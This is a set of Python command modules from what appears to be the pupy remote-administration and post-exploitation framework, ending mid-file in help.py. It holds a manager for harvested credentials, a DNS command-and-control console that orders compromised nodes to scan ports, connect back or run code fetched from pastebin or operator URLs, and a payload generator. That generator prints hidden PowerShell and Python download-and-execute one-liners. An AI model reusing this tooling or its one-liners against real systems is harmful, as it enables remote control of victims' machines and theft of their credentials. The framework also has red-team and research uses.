FILE: pupy/commands/connect.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import pupy.network.conf as conf

launcher = conf.launchers['connect'](
    connect_on_bind_payload=True
)

usage = 'Connect to the bind payload'
parser = launcher.arg_parser


def do(server, handler, config, args):
    launcher.args = args
    launcher.parse_args(None)
    server.connect_on_client(launcher)


================================================
FILE: pupy/commands/creds.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import (
    Color, Error, Success, Table,
    TruncateToTerm, NewLine, Line, MultiPart
)

from pupy.pupylib.utils.credentials import Credentials

usage = 'Credentials manager'
parser = PupyArgumentParser(prog='creds', description=usage)
parser.add_argument('-A', '--all', action='store_true', default=False, help='Search/Show info for all machines, not only active ones')
parser.add_argument('-k', '--key', help='Search in key in objects with key')
parser.add_argument('-s', '--sort', action='store_true', help='Search in key in objects with key')
parser.add_argument('--delete-db', action='store_true', help='Delete DB')
parser.add_argument('search', default='', nargs='?', help='Keyword to search')

def do(server, handler, config, modargs):
    try:
        credentials = Credentials(config=config)
    except Exception as e:
        handler.display(Error(e))
        return

    clients = server.get_clients_list()

    filter_cids = None

    if modargs.delete_db:
        credentials.remove()
        handler.display(Success('DB deleted'))
        return

    if not modargs.all:
        filter_cids = set([
            client.short_name() for client in clients
        ])
        filter_cids.update([
            client.node() for client in clients
        ])

    categories = {}

    try:
        for item in credentials.display(search=modargs.search, is_sorted=modargs.sort):
            if item['category'] not in categories:
                categories[item['category']] = {
                    'credtype': item.get('credtype'),
                    'creds': []
                }

            category = categories[item['category']]
            category['creds'].append({
                k:v for k,v in item.items() if k in (
                    'cid', 'login', 'secret', 'resource'
                )
            })

    except Exception as e:
        raise
        handler.display(Error(e))
        return

    if not categories:
        handler.display(Error('DB is empty'))
        return

    try:
        for category, info in categories.items():
            if not info['creds']:
                continue

            if filter_cids:
                info['creds'] = [
                    cred for cred in info['creds'] if cred['cid'] in filter_cids
                ]

                if not info['creds']:
                    continue

            credtype = info['credtype']

            columns = ['cid', 'login', 'secret', 'resource']
            caption = category

            if all(not x['resource'] for x in info['creds']):
                del columns[columns.index('resource')]

            cids = set(x['cid'] for x in info['creds'])
            if len(cids) == 1:
                del columns[columns.index('cid')]
                caption += ' (cid={})'.format(list(cids)[0])

            if credtype in ('plaintext', 'hash') or all(
                len(x['secret']) <= 64 for x in info['creds']):

                handler.display(TruncateToTerm(
                    Table(info['creds'], columns,
                          caption=Color(caption, 'yellow'))))
            else:
                caption = Line('{', Color(caption, 'yellow'), '}')
                handler.display(caption)
                parts = []
                for cred in info['creds']:
                    line = []
                    for column in columns:
                        if column == 'secret' or not cred[column]:
                            continue

                        line.append(Color(column+':', 'yellow'))
                        line.append(Color(cred[column], 'lightyellow'))

                    line.append(NewLine())
                    line.append(cred['secret'])
                    line.append(NewLine())
                    parts.append(Line(*line))

                handler.display(MultiPart(parts))

            handler.display(NewLine())
    except Exception as e:
        handler.display(Error(e))
        return


================================================
FILE: pupy/commands/dnscnc.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Success, Error, Table, Color

import time

usage = 'DNSCNC control'
parser = PupyArgumentParser(prog='dnscnc', description=usage)
parser.add_argument('-n', '--node', help='Send command only to this node (or session)')
parser.add_argument('-d', '--default', action='store_true', default=False,
                         help='Set command as default for new connections')

commands = parser.add_subparsers(title='commands', dest='command')
status = commands.add_parser('status', help='DNSCNC status')

sessions = commands.add_parser('sessions', help='List known DNSCNC sessions')
sessions.add_argument('-r', action='store_true', help='Reverse sorting')
sorting = sessions.add_mutually_exclusive_group()
sorting.add_argument('-b', action='store_true', help='Sort by boot time')
sorting.add_argument('-o', action='store_true', help='Sort by OS')
sorting.add_argument('-i', action='store_true', help='Sort by IP')
sorting.add_argument('-n', action='store_true', help='Sort by node')
sorting.add_argument('-d', action='store_true', help='Sort by duration')
sorting.add_argument('-c', action='store_true', help='Sort by pending commands')

nodes = commands.add_parser('nodes', help='List known DNSCNC nodes')
nodes.add_argument('-r', action='store_true', help='Reverse sorting')
nodes_sorting = nodes.add_mutually_exclusive_group()
nodes_sorting.add_argument('-a', action='store_true', help='Sort by Alert')
nodes_sorting.add_argument('-i', action='store_true', help='Sort by CID')
nodes_sorting.add_argument('-I', action='store_true', help='Sort by IID')
nodes_sorting.add_argument('-n', action='store_true', help='Sort by node')
nodes_sorting.add_argument('-d', action='store_true', help='Sort by duration')
nodes_sorting.add_argument('-c', action='store_true', help='Sort by pending commands')
nodes_sorting.add_argument('-v', action='store_true', help='Sort by version')

info = commands.add_parser('info', help='List known DNSCNC clients system status')
info.add_argument('-r', action='store_true', help='Reverse sorting')
info_sorting = info.add_mutually_exclusive_group()
info_sorting.add_argument('-n', action='store_true', help='Sort by node')
info_sorting.add_argument('-i', action='store_true', help='Sort by IP')
info_sorting.add_argument('-o', action='store_true', help='Sort by OS')
info_sorting.add_argument('-c', action='store_true', help='Sort by CPU load')
info_sorting.add_argument('-m', action='store_true', help='Sort by MEM load')
info_sorting.add_argument('-l', action='store_true', help='Sort by listeners count')
info_sorting.add_argument('-e', action='store_true', help='Sort by established connections count')
info_sorting.add_argument('-u', action='store_true', help='Sort by users count')
info_sorting.add_argument('-x', action='store_true', help='Sort by idle')
info_sorting.add_argument('-t', action='store_true', help='Sort by tags')

wait = commands.add_parser('wait', help='Wait all commands applied or session gone')
wait.add_argument('-t', '--timeout', type=int, help='Timeout')

policy = commands.add_parser('set', help='Change policy (polling, timeout)')
policy.add_argument('-p', '--poll', help='Set poll interval', type=int)
kex = policy.add_mutually_exclusive_group()
kex.add_argument('-K', '--no-kex', default=None, action='store_true', help='Disable KEX')
kex.add_argument('-k', '--kex', default=None, action='store_true', help='Enable KEX')
policy.add_argument('-t', '--timeout', type=int, help='Set session timeout')

connect = commands.add_parser('connect', help='Request reverse connection')
connect.add_argument('-c', '--host', help='Manually specify external IP address for connection')
connect.add_argument('-p', '--port', help='Manually specify external PORT for connection')
connect.add_argument('-t', '--transport', help='Manually specify transport for connection')
connect.add_argument('-f', '--fronting', help='Hostname for fronting')

reset = commands.add_parser('reset', help='Reset scheduled commands')
disconnect = commands.add_parser('disconnect', help='Request disconnection')

reexec = commands.add_parser('reexec', help='Try to reexec module')

onlinestatus = commands.add_parser('onlinestatus', help='Try to check network ability (warning: noisy)')

extra = commands.add_parser('extra', help='Get extra info from session (cyan colored)')

scan = commands.add_parser('scan', help='Try to connect to remote host ports (range)')
scan.add_argument('host', type=str, help='Host')
scan.add_argument('first', type=int, help='First port in range')
scan.add_argument('last', type=int, nargs='?', help='Last port in range')

sleep = commands.add_parser('sleep', help='Postpone any activity')
sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)')

pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service')
pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
                           help='Action - execute as executable, or evaluate as python/sh code')
pastelink_src = pastelink.add_mutually_exclusive_group(required=True)
pastelink_src.add_argument('-c', '--create', metavar='<SRC>', help='Create new pastelink from file')
pastelink_src.add_argument('-C', '--create-content', metavar=('<SRC>', '<DST>'), nargs=2,
                           help='Create new content from file and store content to specified path')
pastelink_src.add_argument('-u', '--url', help='Specify existing URL')
pastelink.add_argument('-1', '--legacy', default=False,
                       action='store_true', help='Encrypt using legacy V1 encoder')

dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you')
dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
                           help='Action - execute as executable, or evaluate as python/sh code')
dexec.add_argument('-u', '--url', required=True, help='URL to data')
dexec.add_argument('-p', '--proxy', action='store_true', default=False,
                       help='Ask to use system proxy (http/https only)')

proxy = commands.add_parser('proxy', help='Set connection proxy')
proxy.add_argument('uri', help='URI. Example: http://user:password@192.168.0.1:3128 or none')

exit = commands.add_parser('exit', help='Request exit')

def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN': server.dnscnc.dns_domain,
            'DNS PORT': str(server.dnscnc.dns_port),
            'RECURSOR': server.dnscnc.dns_recursor,
            'LISTEN': str(server.dnscnc.dns_listen),
            'SESSIONS': 'TOTAL={} DIRTY={}'.format(
                server.dnscnc.count, server.dnscnc.dirty
            ),
            'POLL': '{}s'.format(policy['interval']),
            'TIMEOUT': '{}s'.format(policy['timeout']),
            'KEX': '{}'.format(bool(policy['kex'])),
        }

        handler.display(Table([
            {'PROPERTY':k, 'VALUE':v} for k,v in objects.items()
        ], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n'+'\n'.join([
                '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.items():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) == int else node, cmd
                    ) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#': '{:03d}'.format(idx),
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EIP': session.system_info['external_ip'] or '?',
                'IIP': session.system_info.get('internal_ip') or '',
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'CPU': '{:d}%'.format(session.system_status['cpu']),
                'MEM': '{:d}%'.format(session.system_status['mem']),
                'LIS': '{:d}'.format(session.system_status['listen']),
                'EST': '{:d}'.format(session.system_status['remote']),
                'USERS': '{:d}'.format(session.system_status['users']),
                'IDLE': '{}'.format(session.system_status['idle']),
                'TAGS': '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            if pupy_session:
                object.update({
                    'P': pupy_session
                })

            color = ''
            if (session.online_status or session.egress_ports or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status['mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {
                    k:Color(v, color) for k,v in object.items()
                }

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS',
            'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'INTERNAL IP': '{}'.format(
                    session.system_info.get('internal_ip') or ''
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            color = None

            if pupy_session:
                object.update({
                    'P': pupy_session
                })
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {
                    k:Color(v, color) for k,v in object.items()
                }

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE',
            'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION',
            'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({
                    'P': pupy_session
                })

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {
                    k:Color(v, color) for k,v in object.items()
                }

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER',
            'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node)
            if count:
                handler.display(Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(
            session=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        # try:
        count = server.dnscnc.connect(
            args.host,
            args.port,
            args.transport,
            args.fronting,
            node=args.node,
            default=args.default
        )
        # except Exception, e:
        #     handler.display(Error(e))
        #     return

        if count:
            handler.display(Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node, default=args.default)

        if count:
            handler.display(Success('Schedule online status request to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(
            args.host, args.first, args.last or args.first,
            node=args.node, default=args.default
        )

        if count:
            handler.display(Success('Schedule scan request to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'disconnect':
        count = server.dnscnc.disconnect(
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule disconnect to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'exit':
        count = server.dnscnc.exit(
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule exit to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'reexec':
        count = server.dnscnc.reexec(
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule reexec to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'sleep':
        count = server.dnscnc.sleep(
            args.timeout,
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'proxy':
        count = server.dnscnc.proxy(
            args.uri,
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule proxy to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'dexec':
        count = server.dnscnc.dexec(
            args.url,
            args.action,
            proxy=args.proxy,
            node=args.node,
            default=args.default
        )

        if count:
            handler.display(Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'pastelink':
        try:
            create = None
            output = None

            if args.create:
                create = args.create
            elif args.create_content:
                create, output = args.create_content

            count, url = server.dnscnc.pastelink(
                content=create,
                output=output,
                url=args.url,
                action=args.action,
                node=args.node,
                default=args.default,
                legacy=args.legacy
            )

            if output:
                return

            if count:
                handler.display(Success('Schedule exit to {} known nodes'.format(count)))
            elif args.node:
                handler.display(Error('Node {} not found'.format(args.node)))

        except ValueError as e:
            handler.display(Error('{}'.format(e)))

    elif args.command == 'extra':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Error('No sessions found'))
            return
        elif len(sessions) > 1:
            handler.display(Error('Selected more than one sessions'))
            return

        session = sessions[0]

        if session.online_status:
            handler.display('\nONLINE STATUS\n')
            objects = [
                {
                    'KEY':Color(
                        k.upper().replace('-', ' '),
                        'green' if session.online_status[k] else 'lightyellow'
                    ),
                    'VALUE':Color(
                         str(session.online_status[k]).upper(),
                         'green' if session.online_status[k] else 'lightyellow'
                    )
                } for k in [
                    'online', 'igd', 'hotspot', 'dns', 'ntp',
                    'direct-dns', 'http', 'https',
                    'https-no-cert', 'https-mitm', 'proxy',
                    'transparent-proxy', 'stun', 'mintime', 'ntp-offset'
                ]
            ]

            handler.display(Table(objects, ['KEY', 'VALUE']))

            handler.display('\nPASTES STATUS\n')
            objects = [
                {
                    'KEY': Color(k, 'green' if v else 'lightyellow'),
                    'VALUE':Color(v, 'green' if v else 'lightyellow')
                } for k,v in session.online_status['pastebins'].items()
            ]
            handler.display(Table(objects, ['KEY', 'VALUE']))

            session.online_status = None

        if session.egress_ports:
            handler.display('\nEGRESS PORTS: {}\n'.format(','.join(str(x) for x in session.egress_ports)))
            session.egress_ports = set()

        if session.open_ports:
            handler.display('\nOPEN PORTS\n')
            objects = [
                {
                    'IP': str(ip),
                    'PORTS': ','.join(str(x) for x in ports)
                } for ip,ports in session.open_ports.items()
            ]
            handler.display(Table(objects, ['IP', 'PORTS']))
            session.open_ports = {}


================================================
FILE: pupy/commands/exit.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pupy.pupylib.PupyModule import PupyArgumentParser

usage = 'Exit Shell'
parser = PupyArgumentParser(prog='exit', description=usage)

def do(server, handler, config, args):
    for job in server.jobs.values():
        job.stop()

    if server.dnscnc:
        handler.display_srvinfo('Stopping DNSCNC')
        server.dnscnc.stop()

    server.stop()


================================================
FILE: pupy/commands/exposed.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Table

usage = 'list exposed objects/methods'
parser = PupyArgumentParser(description=usage)


def do(server, handler, config, modargs):
    for client in server.get_clients(handler.default_filter):
        objects = []
        with client.conn._conn._local_objects._lock:
            for klass, refcnt in \
              client.conn._conn._local_objects._dict.values():
                objects.append({
                    'OID': id(klass),
                    'Object': repr(klass),
                    'Refs': refcnt
                })

        handler.display(Table(
            objects,
            headers=['OID', 'Object', 'Refs'],
            caption=client.short_name()
        ))


================================================
FILE: pupy/commands/gen.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Info, Warn, Success, Error

from pupy.pupylib.utils.listener import get_listener_ip, get_listener_port
from pupy.pupylib.utils.listener import get_listener_ip_with_local

from pupy.cli import pupygen

usage  = 'Generate payload'

def parser(server, handler, config):
    return pupygen.get_parser(PupyArgumentParser, config=config)

def do(server, handler, config, args):
    handler.display(Info("Raw user arguments given for generation: {0}".format(str(args.launcher_args))))

    if not args.launcher:
        handler.display(Info("Launcher/connection method not given. It is set to 'connect' now"))
        args.launcher = 'connect'

    #launcher method 'connect' or 'auto_proxy'
    if args.launcher and args.launcher in ('connect', 'auto_proxy'):
        transport      = None #For saving the transport method (default or given by user)
        transport_idx  = None
        host           = None #Host for listening point (not for launcher args)
        port           = None #Port for listening point (not for launcher args)
        host_idx       = None #For saving host:port from user args (if given by user)
        preferred_ok   = True
        need_transport = False #For appending transport method in launcher args
        need_hostport  = False #For appending host & port for connection back in launcher args

        if args.launcher_args:
            #Some arguments are given in command line, saving host&port and transport method
            total = len(args.launcher_args)
            for idx,arg in enumerate(args.launcher_args):
                if arg == '-t' and idx < total-1:
                    #Manage Transport
                    transport = args.launcher_args[idx+1]
                    transport_idx = idx+1
                    handler.display(Info(
                        "Launcher configuration: Transport for connection back will be set to {0}".format(
                            repr(transport))))
                elif arg == '--host' and idx<total-1:
                    #Manage host & port for connection back
                    host_idx = idx+1
                    hostport = args.launcher_args[host_idx]
                    if ':' in hostport:
                        host, port = hostport.rsplit(':', 1)
                        port = int(port)
                    else:
                        try:
                            port = int(hostport)
                        except:
                            host = hostport
                    handler.display(Info(
                        "Launcher configuration: Host & port for connection back will be set to {0}:{1}".format(
                            host,port)))

        need_transport = not bool(transport)
        need_hostport = not all([host, port])

        #If host, port or transport are missing
        if not all([host, port, transport]):
            default_listener = None
            preferred_ok = False

            if transport:
                #Transport method is given, get the listener
                default_listener = server.listeners.get(transport)
                if not default_listener:
                    handler.display(Error(
                        'Requested transport {} is not active. Will use default'.format(
                            transport)))
                    #We need to save the transport method for the launcher
                    need_transport = True

            if not default_listener:
                try:
                    default_listener = next(iter(server.listeners.values()))
                except StopIteration:
                    pass

            if default_listener:
                #We have a listener, we can set host & port
                transport = default_listener.name

                handler.display(Info(
                    'This local listening point will be used: Transport={} Address={}:{}'.format(
                        default_listener.name, default_listener.external,
                        default_listener.external_port)))

                if host or port:
                    handler.display(Warn('Host and port {0}:{1} are ignored for getting the valid local listening point but'.format(host, port)))
                    handler.display(Warn('they are kept for configuring the launcher for connection back'))

                if args.prefer_external != default_listener.local:
                    host = default_listener.external
                    port = default_listener.external_port
                    preferred_ok = True
                    handler.display(Info("Host & port for listening point are set to: {0}:{1}".format(host,port)))
                elif not args.prefer_external and not default_listener.local:
                    host = get_listener_ip(cache=False)
                    port = default_listener.port
                    if host:
                        handler.display(Warn('Using {0}:{1} as local IP:PORT for the local listening point'.format(host, port)))
                    preferred_ok = True
                else:
                    preferred_ok = not (default_listener.local and args.prefer_external)

        #If transport is missing
        if not transport:
            handler.display(Error('No active transport method. You have to explicitly choose one. Impossible to continue.'))
            return

        #If host or port is missing or preferred_ok
        if not all([host, port, preferred_ok]):
            maybe_port = get_listener_port(config, external=args.prefer_external)
            maybe_host, local = get_listener_ip_with_local(
                external=args.prefer_external,
                config=config, igd=server.igd
            )

            if (not local and args.prefer_external) or not (host and port):
                handler.display(Warn('Using configured/discovered: {0}:{1}'.format(maybe_host, maybe_port)))
                host = maybe_host
                port = maybe_port
            else:
                handler.display(Warn('Unable to find external HOST:PORT'))

        #If need a transport method because not given by user for launcher
        if need_transport:
            if transport_idx is None:
                args.launcher_args += ['-t', transport]
            else:
                args.launcher_args[transport_idx] = transport
            #Transport method not given by user. Consequently,
            handler.display(Info("Transport method {0} appended to launcher args".format(repr(transport))))

        #If host and port are not given/find for connection back
        if need_hostport:
            hostport = '{}:{}'.format(host, port)
            if host_idx is None:
                args.launcher_args += ['--host', hostport]
            else:
                args.launcher_args[host_idx] = hostport
            #Host & port method not given by user. Consequently,
            handler.display(Info("Host & port {0} appended to launcher args".format(repr(hostport))))

    #Enable HTTPD if required
    if server.httpd:
        handler.display(Info("HTTPD enabled"))
        wwwroot = config.get_folder('wwwroot')
        if not args.output_dir:
            args.output_dir = wwwroot

    try:
        output = pupygen.pupygen(args, config, server, handler.display)

    except pupygen.NoOutput:
        return

    except Exception as e:
        handler.display(Error(e, 'payload generation failed'))
        import traceback
        traceback.print_exc()
        return

    if not output and 'oneliner' not in args.format:
        handler.display(Error('payload generation failed'))
        return

    if server.httpd and output.startswith(wwwroot):
        wwwpath = os.path.relpath(output, wwwroot)
        if config.getboolean('httpd', 'secret'):
            wwwpath = '/'.join([
                config.get('randoms', 'wwwsecret', random=5)
            ] + [
                config.set('randoms', None, x, random=5) for x in wwwpath.split('/')
            ])

        handler.display(Success('WWW URI PATH: /{}'.format(wwwpath)))
        host="<host:port>"
        try:
            for i in range(0,len(args.launcher_args)):
                if args.launcher_args[i]=="--host":
                    host=args.launcher_args[i+1]
                    break
        except:
            pass

        if args.format=='py':
            handler.display(Success("ONELINER: python -c 'import urllib;exec urllib.urlopen(\"http://{}/{}\").read()'".format(host, wwwpath)))
        elif args.format=='ps1':
            handler.display(Success("ONELINER: powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://{}/{}')\"".format(host, wwwpath)))


================================================
FILE: pupy/commands/help.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import MultiPart, Table, Color, Line, TruncateToTerm
from pupy.pupylib.PupyCompleter import commands_completer

usage  = 'Show help'
parser = PupyArgumentParser(prog='help', description=usage)
parser.add_argument('module', nargs='?',
                    help='Show information about command', completer=commands_completer)
parser.add_argument('-M', '--modules', action='store_true',
                    help='Show information about all modules')

def do(server, handler, config, args):

    tables = []

    if args.module:
        if handler.commands.has(args.module):
            command = handler.commands.get(args.module)
            tables.append(Line(
                Color('Command:', 'yellow'),
                Color(args.module+':', 'green'),
                command.usage or 'No description'))
            if hasattr(command.parser, 'add_help'):
                tables.append(command.parser.format_help())
            else:
                parser = command.parser(server, PupyArgumentParser, config)
                tables.append(parser.parse_args(['--help']))

        for module in server.iter_modules():
            if module.get_name().lower() == args.module.lower():
                if module.__doc__:
                    doc = module.__doc__.strip()
                else:
                    doc = ''

                tables.append(Line(
                    Color('Module:', 'yellow'),
                    Color(args.module+':', 'green'),
                    doc.title().split('\n')[0]))

                if module.arg_parser.add_help:
                    tables.append(module.arg_parser.format_help())
                else:
                    tables.append(module.arg_parser.parse_args(['--help']))

                clients = server.get_clients(handler.default_filter)
                if clients:
                    ctable = []
                    for client in clients:
                        compatible = module.is_compatible_with(client)
                        ctable.append({
                            'OK': Color(
                                'Y' if compatible else 'N',
                                'green' if compatible else 'grey'
                            ),
